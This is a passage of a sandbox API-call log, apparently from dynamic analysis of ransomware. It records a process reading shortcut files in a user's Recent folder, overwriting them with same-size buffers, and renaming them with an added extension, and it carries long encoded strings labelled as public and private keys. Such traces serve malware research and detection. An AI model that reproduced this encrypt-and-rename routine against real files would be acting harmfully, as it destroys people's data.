lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.015] GetCurrentThreadId () returned 0xa30 [0080.015] GetCurrentThreadId () returned 0xa30 [0080.015] GetCurrentThreadId () returned 0xa30 [0080.016] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BbAbN3g2HP.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbabn3g2hp.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.016] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.016] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.016] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x243 [0080.016] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.016] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x243, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x243, lpOverlapped=0x0) returned 1 [0080.115] CloseHandle (hObject=0x124) returned 1 [0080.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BbAbN3g2HP.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbabn3g2hp.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.117] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x243, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x243, lpOverlapped=0x0) returned 1 [0080.118] CloseHandle (hObject=0x124) returned 1 [0080.138] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BbAbN3g2HP.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbabn3g2hp.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BbAbN3g2HP.mkv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbabn3g2hp.mkv.lnk.zv7un")) returned 1 [0080.141] GetCurrentThreadId () returned 0xa30 [0080.141] GetCurrentThreadId () returned 0xa30 [0080.141] GetCurrentThreadId () returned 0xa30 [0080.141] GetCurrentThreadId () returned 0xa30 [0080.141] GetCurrentThreadId () returned 0xa30 [0080.141] GetCurrentThreadId () returned 0xa30 [0080.141] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc34b60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3cc34b60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3cc34b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe80, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="bbtjkel4YLOifFIr.mkv.lnk", cAlternateFileName="BBTJKE~1.LNK")) returned 1 [0080.142] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.142] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.142] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbtjkel4YLOifFIr.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbtjkel4yloiffir.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc34b60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3cc34b60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3cc34b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe80)) returned 1 [0080.142] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbtjkel4YLOifFIr.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbtjkel4yloiffir.mkv.lnk")) returned 0x20 [0080.142] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbtjkel4YLOifFIr.mkv.lnk", dwFileAttributes=0x80) returned 1 [0080.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.146] GetCurrentThreadId () returned 0xa30 [0080.146] GetCurrentThreadId () returned 0xa30 [0080.146] GetCurrentThreadId () returned 0xa30 [0080.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.146] GetCurrentThreadId () returned 0xa30 [0080.147] GetCurrentThreadId () returned 0xa30 [0080.147] GetCurrentThreadId () returned 0xa30 [0080.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbtjkel4YLOifFIr.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbtjkel4yloiffir.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.147] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.147] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.147] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xe80 [0080.147] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.147] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xe80, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xe80, lpOverlapped=0x0) returned 1 [0080.149] CloseHandle (hObject=0x124) returned 1 [0080.149] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbtjkel4YLOifFIr.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbtjkel4yloiffir.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.151] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xe80, lpOverlapped=0x0) returned 1 [0080.153] CloseHandle (hObject=0x124) returned 1 [0080.157] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbtjkel4YLOifFIr.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbtjkel4yloiffir.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 